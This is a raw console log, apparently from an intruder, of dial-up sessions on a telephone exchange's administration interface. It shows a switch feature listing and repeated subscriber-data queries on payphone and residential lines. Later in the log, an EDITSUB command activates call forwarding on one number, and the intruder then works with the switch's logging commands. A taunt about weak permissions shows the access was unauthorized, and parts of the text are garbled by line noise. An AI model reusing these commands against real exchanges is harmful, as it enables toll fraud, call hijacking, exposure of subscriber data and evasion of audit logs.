AINEDEFR ENABLED
AINGTT ENABLED
AINIP ENABLED
AINIPI ENABLED
AINLNP ENABLED
AINMWI DISABLED
AINNTRIG ENABLED
AINOHI DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:48 IDCI1
M CONTINUATION TEXT 0001
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
AINPFX DISABLED
AINPQS ENABLED
AINSOCC ENABLED
AINTOG ENABLED
AINTRGIT ENABLED
ALOWZERO DISABLED
ALT DISABLED
ARBANON ENABLED
ARSTIM DISABLED
AUTOSPID DISABLED
AUTOSTEP DISABLED
BLFDSS DISABLED
BRICALPK DISABLED
BRIECT DISABLED
BRIPDEVK DISABLED
C7VARCIC ENABLED
CALEA ENABLED
CARDT DISABLED
CARRSW DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:48 IDCI1
M CONTINUATION TEXT 0002
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CARSWANI DISABLED
CARSWAUT DISABLED
CARSWFC DISABLED
CATRECOV DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:49 IDCI1
M CONTINUATION TEXT 0003
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CBCICSS7 DISABLED
CCS7BAR ENABLED
CDPACSDT DISABLED
CDPACTIM DISABLED
CFACSAC DISABLED
CFAINAC DISABLED
CFBSYTRK DISABLED
CFDARCEN DISABLED
CFVFIXAD DISABLED
CFVREACT DISABLED
CGPNPOR DISABLED
CIDCW ENABLED
CIDS ENABLED
CMC2A DISABLED
CMC2B DISABLED
CNAENH DISABLED
CONFS6 DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:49 IDCI1
M CONTINUATION TEXT 0004
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CPEDWNLD DISABLED
CPRI DISABLED
CPUDEN ENABLED
CRANKBK DISABLED
CSCCV DISABLED
CSCODSCR DISABLED
CSCRCARD DISABLED
CSDEBITC DISABLED
CSDNIS ENABLED
CSEAUTC DISABLED
CSEPRJC DISABLED
CSFRADET DISABLED
CSHOTROT DISABLED
CSMCSCR DISABLED
CSPRCDVA DISABLED
CSPROFLX DISABLED
CSPRVSPD DISABLED
CSPUBSPD DISABLED
CSSNBLK DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:49 IDCI1
M CONTINUATION TEXT 0005
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CSTODSCR DISABLED
CSTRKQUE DISABLED
CUSTCRNK DISABLED
CWD DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:51 IDCI1
M CONTINUATION TEXT 0006
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
CWVOANNC DISABLED
CXDNDISP DISABLED
CXMDR ENABLED
CXTRAF ENABLED
CXTRKMNT ENABLED
CXTRKTST ENABLED
DEFANIEN DISABLED
DISPBAAT DISABLED
DISPBAL1 DISABLED
DISPCARR ENABLED
DPNDATA ENABLED
DTMFANI DISABLED
EADAS128 DISABLED
EADAS256 DISABLED
EAOSS DISABLED
EAWATTDI ENABLED
EDEQEKTS ENABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:51 IDCI1
M CONTINUATION TEXT 0007
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
EDITLCC ENABLED
EDITPDN ENABLED
EKTSMTA ENABLED
EKTSPDOH ENABLED
EKTSPOO ENABLED
ELOCBONA DISABLED
EMSDNOPT ENABLED
ETSIPRI DISABLED
EXTLRN DISABLED
FFPOHD DISABLED
GETSHPC DISABLED
IATTWFEA DISABLED
ICNAM DISABLED
IDLCBRI DISABLED
IDLCEKTS DISABLED
II25 DISABLED
INTCLLNP DISABLED
INTERTC DISABLED
INTOHD DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 B22:04:51 IDCI1
M CONTINUATION TEXT 0008
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
INTRAPC ENABLED
IN888 ENABLED
IPOPVOIP DISABLED
ISDNINSP DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03D-02-14 22:04:55IDCI1
M CONTINUATION TEXT 0009
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
ISDTRENG DISABLED
ISMDIVMS ENABLED
ISUPHCNT ENABLED
LCNAMD ENABLED
LDTODROT DISABLED
LNPAMAE1 DISABLED
LNPGTMT DISABLED
LNPLRN DISABLED
LNPPOOL DISABLED
M104PTP DISABLED
MANOUTAL ENABLED
MF2FGD DISABLED
MFVMS DISABLED
MLBG DISABLED
MLPP DISABLED
MOPC DISABLED
MPTST1 DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:55 IDCI1
M CONTINUATION TEXT 0010
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
MULTIPIC ENABLED
MULTTIMZ DISABLED
NCAS ENABLED
NSNATPRI DISABLED
NTMACC ENABLED
NTMCPOCC ENABLED
NTMICCC ENABLED
NTMITDRD ENABLED
NTMTR ENABLED
ODAGENTA ENABLED
OFOCBONA DISABLED
OHDWSP DISABLED
ORIGNEL ENABLED
OUTSCCX DISABLED
PASSTHRU DISABLED
PCS DISABLED
PNACDPAC DISABLED
PODPDEFR ENABLED
PRIBCHAV DISABLED
INTERRUPTION TEXT JOB 2812
H XXXXX 03-02-:55 IDCI1
M CONTINUATION TEXT 0011
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
PRIBDIR DISABLED
PRIBKDCP DISABLED
PRIBNS DISABLED
PRIDISPB DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14:04:57 IDCI1
M CONTINUATION TEXT 0012
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
PRIENH DISABLED
PRIGCH DISABLED
PRIGUCD DISABLED
PRILNDN DISABLED
PRIOM164 DISABLED
PRIRND DISABLED
PRIRTEAD DISABLED
PRISCR DISABLED
PRITBCT DISABLED
PRIUPNS DISABLED
PRIUSP DISABLED
RAETN ENABLED
RAVAD DISABLED
RAXLRN DISABLED
RINGSPEC DISABLED
RIPIPI ENABLED
RIPNIP ENABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:57 IDCI1
M CONTINUATION TEXT 0013
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
RLT DISABLED
RLTCAS DISABLED
RPMON DISABLED
RSUFEAT ENABLED
RSUMANN DISABLED
RSUSASPN DISABLED
SCREENII DISABLED
SFGVER ENABLED
SNXXMNPA ENABLED
SPLITPRI DISABLED
SPONCTFR DISABLED
SS7ALC ENABLED
SS7LMI ENABLED
SS7LOOP DISABLED
SS7NMAN ENABLED
SS7NSTDB ENABLED
SS7TMBK DISABLED
STRCIDT DISABLED
SUSTWC ENABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:04:57 IDCI1
M CONTINUATION TEXT 0014
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
SWSGSUPR DISABLED
TBILLIXC DISABLED
TERMNEL ENABLED
TGCLID DISABLED
INTERRUPTION TEXT JOB 2812
XXXXX 03-02-14 22:05:00 IDCI1
M CONTINUATION TEXT 0015
2812 IDCI1 2816/08571
FEATURE NAME STATUS INVALID ENCRYPTED CODE
--------------+---------------+----------------------
TIMEDREM DISABLED
TOLLRC ENABLED
TPDNDEL DISABLED
TRACBASC ENABLED
TRACCPTY DISABLED
TRACKER DISABLED 57783
TRACSERV DISABLED
VAD DISABLED
VADENH DISABLED
VADISDN DISABLED
WKSTDLTN DISABLED
ZEROPSPL DISABLED
ZMINTPIC DISABLED
AINRISC ENABLED
END JOB 2812 EXEC'D
CIDS
PM
XXXXX 03-02-14 22:06:32 IDCI1
M CIDS? NOT EXEC'D
2816 IDCI1 2969/10991
CIDS? NOT EXEC'D
MASKNO:10991
UNKNOWN COMMAND
END JOB 2816
PM
XXXXX 03-02-14 22:08:13 IDCI1
M ? NOT EXEC'D
2820 IDCI1 2969/10991
? NOT EXEC'D
MASKNO:10991
COMMAND CODE MISSING
END JOB 2820
dispdn
PM
M NPA= 505
M DN=xxx9979
M FORMAT=;
CE
XXXXX 03-02-14 22:09:28 IDCI1
M DISPDN:NPA=505,DN=xxx9979;
2823 IDCI1 2805/03241
DISPDN:NPA=505,DN=xxx9979;
DIRECTORY NUMBER
NPA DN TYPE INCEPT CODE ACT DNCOS
----------------------------------------------------------------
505 xxx9979 SUB xxx YES
END JOB 2823 EXEC'D
DISPSDNDAT:npa=505,dn=xxx9979;
CE
XXXXX 03-02-14 22:10:39 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9979; EXEC'D
2827 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9979; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9979,
EQN = 3400-0-02-72,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
CHRG = ENHTRST,
LTT = COSLAC5,
COSDAT = CSLST-28,
PIC = 288,
PIC0 = 288,
INTRAPC = 288,
INTRAPC0 = 288,
INTLPC = 288,
INTLPC0 = 288,
INTERRUPTION TEXT JOB 2827
XXXXX 03-02-14 22:10:39 IDCI1
M CONTINUATION TEXT 0001
2827 IDCI1 2816/04328
ANIDIG = 27;
END JOB 2827 EX
DISPSDNDAT
PM
M NPA=505
M DN=xxx9945
M EQN=;
CE
XXXXX 03-02-14 22:13:11 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9945; EXEC'D
2832 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9945; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9945,
EQN = 3320-0-06-85,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
LTT = COSLAC5,
PIC = 555,
PIC0 = 555,
INTLPC = 555,
INTLPC0 = 555,
ANIDIG = 27;
ENPD JOB 2832 EXEC
DISPSDNDAT
PM
M NPA=505
M DN=xxx9918
M EQN=;
CE
XXXXX 03-02-14 22:14:19 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9918; EXEC'D
2836 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9918; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9918,
EQN = 3390-0-10-60,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
CHRG = ENHTRST,
LTT = COSLAC5,
COSDAT = CSLST-28,
PIC = 288,
PIC0 = 288,
INTRAPC = 288,
INTRAPC0 = 288,
INTLPC = 288,
INTLPC0 = 288,
INTERRUPTION TEXT JOB 2836
XXXXX 03-02-14 22:14:19 IDCI1
M CONTINUATION TEXT 0001
2836 IDCI1 2816/04328
ANIDIG = 27;
END JOB 2836 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9929
M EQN=;
CE
XXXXX 03-02-14 22:14:48 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9929; EXEC'D
2838 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9929; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9929,
EQN = 3390-0-10-73,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
LTT = COSLAC5,
COSDAT = CSLST-26,
PIC = 288,
PIC0 = 288,
INTRAPC = 288,
INTRAPC0 = 288,
INTLPC = 288,
INTLPC0 = 288,
ANIDIG = 27;
END JOB 2838 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9956
M EQN=;
CE
XXXXX 03-02-14 22:15:26 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9956; EXEC'D
2840 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9956; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9956,
EQN = 3400-0-02-79,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
LTT = COSLAC5,
PIC = 9000,
PIC0 = 9000,
INTRAPC = 9000,
INTRAPC0 = 9000,
INTLPC = 9000,
INTLPC0 = 9000,
ANIDIG = 27;
END JOB 2840 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9993
M EQN=;
CE
XXXXX 03-02-14 22:16:09 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9993; EXEC'D
2842 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9993; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9993,
EQN = 3400-0-02-18,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
LTT = COSLAC5,
PIC = 9000,
PIC0 = 9000,
INTRAPC = 9000,
INTRAPC0 = 9000,
INTLPC = 9000,
INTLPC0 = 9000,
ANIDIG = 27;
END JOB 2842 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx
2845 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPSDNDAT : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE: 99
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
DN =<xxx>
END OF ERROR MESSAGE JOB 2845 MASKNO:10041
DN=30
xxx9930
M EQN=;
CE
XXXXX 03-02-14 22:16:28 IDCI1
M DISPSDNDAT:NPA=505,DN=99xxx9930; NOT EXEC'D
2845 IDCI1 2819/10990
DISPSDNDAT:NPA=505,DN=99xxx9930; NOT EXEC'D
MASKNO:10990
TOO MANY DIGITS ENTERED
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
DN =<99xxx9930>
END JOB 2845
DISPSDNDAT
PM
M NPA=505
M DN=xxx9930
M EQN=;
CE
XXXXX 03-02-14 22:16:41 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9930; EXEC'D
2848 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9930; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9930,
EQN = 3320-0-06-84,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
CHRG = ENHTRST,
LTT = COSLAC5,
COSDAT = CSLST-28,
PIC = 288,
PIC0 = 288,
INTRAPC = 288,
INTRAPC0 = 288,
INTLPC = 288,
INTLPC0 = 288,
INTERRUPTION TEXT JOB 2848
XXXXX 03-02-14 22:16:41 IDCI1
M CONTINUATION TEXT 0001
2848 IDCI1 2816/04328
ANIDIG = 27;
END JOB 2848 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9900
M EQN=;
CE
XXXXX 03-02-14 22:16:59 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9900; EXEC'D
2849 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9900; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9900,
EQN = 3350-0-03-03,
CT = VI,
CAT = MS,
LCC = 1MR,
RAX = 1,
LTT = COSLAC5,
COSDAT = CSLST-45,
DIV = ACTCFV-101007114095841000,
DIV = CFV,
DIV = UPCFVDN,
DIV = NOCFIND,
DIV = RRNG,
DIV = CCNOAREQ,
CFVLIM = 1,
INTERRUPTION T JOB 2849
XXXXX 03-02-14 22:16:59 IDCI1
M CONTINUATION TEXT 0001
2849 IDCI1 2816/04328
PIC = 771,
PIC0 = 224,
INTRAPC = 224,
INTRAPC0 = 224;
END JOB 2849 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9902
M EQN=;
CE
XXXXX 03-02-14 22:18:05 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9902; EXEC'D
2852 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9902; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9902,
EQN = 3390-0-10-86,
CT = VI,
CAT = MS,
LCC = TDISC,
RAX = 1,
LTT = COSLAC5,
PIC = 288,
PIC0 = 288,
INTRAPC = 288,
INTRAPC0 = 288;
END JOB 2852 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9959
M EQN=;
CE
XXXXX 03-02-14 22:18:58 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9959; EXEC'D
2855 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9959; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9959,
EQN = 3400-0-02-80,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
CHRG = ENHTRST,
LTT = COSLAC5,
COSDAT = CSLST-28,
PIC = 288,
PIC0 = 288,
INTRAPC = 288,
INTRAPC0 = 288,
INTLPC = 288,
INTLPC0 = 288,
INTERRUPTI,ON TEXT JOB 285
XXXXX 03-02-14 822:18:58 IDCI1
M CONTINUATION TEXT 0001
2855 IDCI1 2816/04328
ANIDIG = 27;
END JOB 2855 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9947
M EQN=;
CE
XXXXX 03-02-14 22:19:23 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9947; EXEC'D
2857 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9947; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9947, EQN = 3400-0-00-78,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
CHRG = ENHTRST,
LTT = COSLAC5,
COSDAT = CSLST-28,
PIC = 288,
PIC0 = 288,
INTRAPC = 288,
INTRAPC0 = 288,
INTLPC = 288,
INTLPC0 = 288,
INTERRUPTION TEXT JOB 2857
XXXXX 03-02-14 22:19:23 IDCI1
M CONTINUATION TEXT 0001
2857 IDCI1 2816/04328
ANIDIG = 27;
END JOB 2857 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9911
M EQN=;
CE
XXXXX 03-02-14 22:19:43 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9911; EXEC'D
2858 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9911; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9911,
EQN = 3400-0-01-60,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
CHRG = ENHTRST,
LTT = COSLAC5,
COSDAT = CSLST-26,
PIC = 288,
PIC0 = 288,
INTRAPC = 288,
INTRAPC0 = 288,
INTLPC = 288,
INTLPC0 = 288,
INTERRUPTION TEXT JOB 2858
XXXXX 03-02-14 22:19:43 IDCI1
M CONTINUATION TEXT 0001
2858 IDCI1 2816/04328
ANIDIG = 27;
END JOB 2858 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9910
M EQN=;
CE
XXXXX 03-02-14 22:20:03 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9910; EXEC'D
2860 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9910; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9910,
EQN = 3400-0-01-73,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
CHRG = ENHTRST,
LTT = COSLAC5,
COSDAT = CSLST-28,
PIC = 288,
PIC0 = 288,
INTRAPC = 288,
INTRAPC0 = 288,
INTLPC = 288,
INTLPC0 = 288,
INTERRUPTION TEXT JOB 2860
XXXXX 03-02-14 22:20:03 IDCI1
M CONTINUATION TEXT 0001
2860 IDCI1 2816/04328
ANIDIG = 27;
END JOB 2860 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9955
M EQN=;
CE
XXXXX 03-02-14 22:20:17 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9955; EXEC'D
2862 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9955; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9955,
EQN = 0-0-00-00,
CT = VI,
CAT = VIRTSUB,
LCC = RCF,
RAX = 1,
DIV0 = ACTCFV-xxx209,
DIV = CFV,
DIV = UPCFVDN,
DIV = NOCFIND,
DIV = RRNG,
DIV = CCAREQ,
CFVLIM = 1;
END JOB 2862 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9913M EQN=;
CE
XXXXX 03-02-14 22:21:11 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9913; EXEC'D
2864 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9913; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9913,
EQN = 3390-0-11-05,
CT = VI,
CAT = MS,
LCC = 1FR,
RAX = 1,
CHRG = ENHTRST,
LTT = COSLAC5,
COSDAT = CSLST-38,
PIC = 5971,
PIC0 = 5971,
INTRAPC = 5971,
INTRAPC0 = 5971,
INTLPC = 5971,
INTLPC0 = 5971,
INTERRUPTION TEXT JOB 2864
XXXXX 03-02-14 22:21:11 IDCI1
M CONTINUATION TEXT 0001
2864 IDCI1 2816/04328
ANIDIG = 27;
END JO B 2864 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx
2866 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPSDNDAT : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
DN =<xxx>
END OF ERROR MESSAGE JOB 2866 MASKNO:10041
DN=9903
2866 MASKNO:10001
M COMMAND ERROR MESSAGE FOR DISPSDNDAT : 1 ERROR(S)
MASKNO:10990
THE FOLLOWING DATA ARE OUT OF RANGE:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
DN =<9903>
END OF ERROR MESSAGE JOB 2866 MASKNO:10041
DN=xxx9903
M EQN=;
CE
XXXXX 03-02-14 22:21:35 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9903; EXEC'D
2866 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9903; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9903,
EQN = 3360-0-03-65,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
LTT = COSLAC5,
PIC = 288,
INTLPC = 288;
E ND JOB 2866 EXE
DISPSDNDAT
PM
M NPA=505
M DN=xxx9999
M EQN=;
CE
XXXXX 03-02-14 22:22:37 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9999; EXEC'D
2868 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9999; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9999,
EQN = 3350-0-06-36,
CT = VI,
CAT = MS,
LCC = 1FR,
RAX = 1,
LTT = COSLAC5,
PIC = 333,
PIC0 = 333,
INTRAPC = 333,
INTRAPC0 = 333,
INTLPC = 333,
INTLPC0 = 333;
END JOB 2868 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9922
M EQN=;
CE
XXXXX 03-02-14 22:23:12 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9922; EXEC'D
2871 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9922; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9922,
EQN = 3390-0-02-05,
CT = VI,
CAT = MS,
LCC = 1FR,
RAX = 1,
LTT = COSLAC5;
END JOB 2871 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9935
M EQN=;
CE
XXXXX 03-02-14 22:23:43 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9935; EXEC'D
2873 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9935; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9935,
EQN = 3390-0-11-04,
CT = VI,
CAT = COINPOS,
LCC = COIN,
RAX = 1,
L-TT = COSLAC5,
PIC = 9000,
PIC0 = 9000,
INTRAPC = 9000,
INTRAPC0 = 9000,
INTLPC = 9000,
INTLPC0 = 9000,
ANIDIG = 27;
END JOB 2873 EXEC'D
DISPSDNDAT
PM
M NPA=505
M DN=xxx9900
M EQN=;
CE
XXXXX 03-02-14 22:24:49 IDCI1
M DISPSDNDAT:NPA=505,DN=xxx9900; EXEC'D
2876 IDCI1 2816/04328
DISPSDNDAT:NPA=505,DN=xxx9900; EXEC'D
SUBSCRIBER MASKNO:04328
MASKNO:00000
VIEW = DNCT,
NPA = 505,
DN = xxx9900,
EQN = 3350-0-03-03,
CT = VI,
CAT = MS,
LCC = 1MR,
RAX = 1,
LTT = COSLAC5,
COSDAT = CSLST-45,
DIV = ACTCFV-101007114095841000,
DIV = CFV,
DIV = UPCFVDN,
DIV = NOCFIND,
DIV = RRNG,
DIV = CCNOAREQ,
CFVLIM = 1,
INTERRUPTION TEXT JOB 2876
XXXXX 03-02-N14 22:24:49 IDC1
M CONTINUATION TEXT 0001
2876 IDCI1 2816/04328
PIC = 771,
PIC0 = 224,
INTRAPC = 224,
INTRAPC0 = 224;
END JOB 2876 EXEC'D
atdt9,xxx99xxatat
datdt9,xxx99xxat
CONNECT 16800/ARQ
þ怘€ø˜þ˜˜€f€†˜†˜f†f`f þAT&FH0
atdt9,505xxxxxxx 21600/ARQ
p
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rdo-ras-01>
^^^-----------> Might wanna log off and create better perms from now on.
CONNECT 19200/ARQ/V34/LAPM/V42BIS
PM
™ ÒUÉDÏ 03-0²-±6 0²:06:55 ÉDÃɱ
M ÒZ? NÏÔ ÅØÅÃ'D
¸±6± ÉDÃɱ ²969¯±099±
ÒZ? NÏÔ ÅØÅÃ'D
MASKNÏ:±099±
UNKNÏ×N ÃÏMMAND
ÅND ÊÏB ¸±6±
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>
XXXXX 03-02-16 02:07:03 IDCI1
M ? NOT EXEC'D
8163 IDCI1 2969/10991
? NOT EXEC'D
MASKNO:10991
COMMAND CODE MISSING
END JOB 8163
dispsdndat:npa=505
editsub
PM
M NPA=505
M DN=267
579900
M EQN=
M CAT=
M CT=
M CCT=
M LCC=
M RAX=
M CSTMGRP=
M CHRG=
M CCHRG=
M OWBAND=
M LNATT=
M CLNATT=
M LTT=
M CLOSS=
M COS=
M CCOS=
M COSDAT=
M CCOSDAT=
M BLKDN=
M CBLKDN=
M BLKCT=
M CBLKCT=
M TRARSTR=
M CTRARSTR=
M OPTRCL=
M SUBTRCL=
M DEBCL=
M DIV=
M CDIV= CA
XXXXX 03-02-16 02:07:38 IDCI1
M EDITSUB:NPA=505,DN=2579900,CDIV= NOT EXEC'D
8164 IDCI1 2969/10991
EDITSUB:NPA=505,DN=2579900,CDIV= NOT EXEC'D
MASKNO:10991
COMMAND CANCELED
END JOB 8164
editsub:npa=505,dn=2579900,div=actcvf
fv-0;
CE
XXXXX 03-02-16 02:08:17 IDCI1
M EDITSUB:NPA=505,DN=2579900,DIV=ACTCFV-0; NOT EXEC'D
8167 IDCI1 2815/10990
EDITSUB:NPA=505,DN=2579900,DIV=ACTCFV-0; NOT EXEC'D
MASKNO:10990
THE FOLLOWING DATA ARE INVALID:
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
DIV =ACTCFV-<0>
END JOB 8167
EDITSUB:NPA=505,DN=2579900,DIV=ACTCFV-101007110;
CE
XXXXX 03-02-16 02:08:36 IDCI1
M EDITSUB:NPA=505,DN=2579900,DIV=ACTCFV-101007110; EXEC'D
8169 IDCI1 2812/00007
EDITSUB:NPA=505,DN=2579900,DIV=ACTCFV-101007110; EXEC'D
END JOB 8169
MODLOGFILE ;
CE
XXXXX 03-02-16 07:12:59 IDCI1
M MODLOGFILE; NOT EXEC'D
9228 IDCI1 2969/10990
MODLOGFILE; NOT EXEC'D
MASKNO:10990
MISSING PARAMETER
CNTXT PAR.NAME PARAMETER VALUE
-----+--------+---------------------------------------------------------
FILE
NFILE
END JOB 9228
;
CE
XXXXX 03-02-16 07:13:30 IDCI1
M STATLOG; EXEC'D
9231 IDCI1 2970/00342
STATLOG; EXEC'D
LOG FUNCTION MESSAGE:
LOG STATE : ON
LOG FILE(S) : LG.FIX00120126.A1
END JOB 9231
dispfiletext
PM
M FILE= LG.FIX00120126.A1
M READY TO EXECUTE < atdt9xxx99xx
CONNECT 21600/ARQ/V34/LAPM/V42BIS
<Vk~
atdt9xxx99xx
